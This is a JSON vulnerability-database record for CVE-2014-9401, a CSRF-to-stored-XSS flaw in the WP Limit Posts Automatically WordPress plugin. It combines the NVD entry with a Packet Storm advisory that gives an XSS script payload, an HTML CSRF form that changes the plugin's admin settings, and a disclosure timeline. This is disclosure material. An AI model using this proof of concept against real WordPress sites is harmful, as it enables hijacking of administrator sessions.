{"cve": [{"lastseen": "2021-04-22T23:44:15", "description": "Cross-site request forgery (CSRF) vulnerability in the WP Limit Posts Automatically plugin 0.7 and earlier for WordPress allows remote attackers to hijack the authentication of administrators for requests that conduct cross-site scripting (XSS) attacks via the lpa_post_letters parameter in the wp-limit-posts-automatically.php page to wp-admin/options-general.php.", "edition": 7, "cvss3": {}, "published": "2014-12-31T21:59:00", "title": "CVE-2014-9401", "type": "cve", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-9401"], "modified": "2017-09-08T01:29:00", "cpe": ["cpe:/a:wp_limit_posts_automatically_project:wp_limit_posts_automatically:0.7"], "id": "CVE-2014-9401", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9401", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:wp_limit_posts_automatically_project:wp_limit_posts_automatically:0.7:*:*:*:*:wordpress:*:*"]}], "packetstorm": [{"lastseen": "2016-12-05T22:22:15", "description": "", "published": "2014-12-18T00:00:00", "type": "packetstorm", "title": "WordPress WP Limit Posts Automatically 0.7 CSRF / XSS", "bulletinFamily": "exploit", "cvelist": ["CVE-2014-9401"], "modified": "2014-12-18T00:00:00", "id": "PACKETSTORM:129647", "href": "https://packetstormsecurity.com/files/129647/WordPress-WP-Limit-Posts-Automatically-0.7-CSRF-XSS.html", "sourceData": "`# Title: CSRF / Stored XSS Vulnerability in WP Limit Posts Automatically Wordpress Plugin \n# Author: Manideep K \n# cve-id: CVE-2014-9401 \n# Plugin Homepage: https://wordpress.org/plugins/wp-limit-posts-automatically/ \n# Version Affected: 0.7 (probably lower versions) \n# Severity: High \n \n# Description: \n# Vulnerable Parameter: all text fields to name - lpa_post_letters \n# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin\u0092s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc. \n# Vulnerability Class: \nhttps://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 \nCross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)) \n \nSteps to Reproduce: (POC): \nAfter installing the plugin \n \nStored XSS: \n1. Goto settings -> Limit Posts Options \n2. Enter this payload \u0096 \u0093 \"><script>alert(32)</script> \u0093 in any of the text columns. There is no minimum input validation. \n3. Save changes and see XSS in action \n4. Visit settings page of this plugin anytime later and you can see the script executing as it is stored. \n \nPlugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below \n \n<html> \n<body> \n<form action=\"http://localhost/wordpress/wp-admin/options-general.php?page=wp-limit-posts-automatically/wp-limit-posts-automatically.php\" method=\"POST\"> \n<input type=\"hidden\" name=\"lpa_post_wordcut\" value=\"Lettercut\" /> \n<input type=\"hidden\" name=\"lpa_post_letters\" value=\" csrf baby\" /> \n<input type=\"hidden\" name=\"lpa_post_ending\" value=\"hi\" /> \n<input type=\"hidden\" name=\"lpa_post_linktext\" value=\"hi\" /> \n<input type=\"hidden\" name=\"submitted\" value=\"yes\" /> \n<input type=\"hidden\" name=\"Submit\" value=\"Update Options \u00bb\" /> \n<input type=\"submit\" value=\"Submit request\" /> \n</form> \n</body> \n</html> \n \n \n# Mitigation: \nReported - Not yet fixed \n \n# Disclosure: \n2014-11-06: Author notification \n2014-11-20: WP Team action taken by closing the plugin as there is no response from author \n2014-12-09: Public Disclosure \n \n# Credits: \nManideep K \nInformation Security Researcher \nhttps://in.linkedin.com/in/manideepk \n`\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/129647/wplimitposts-xsrfxss.txt"}]}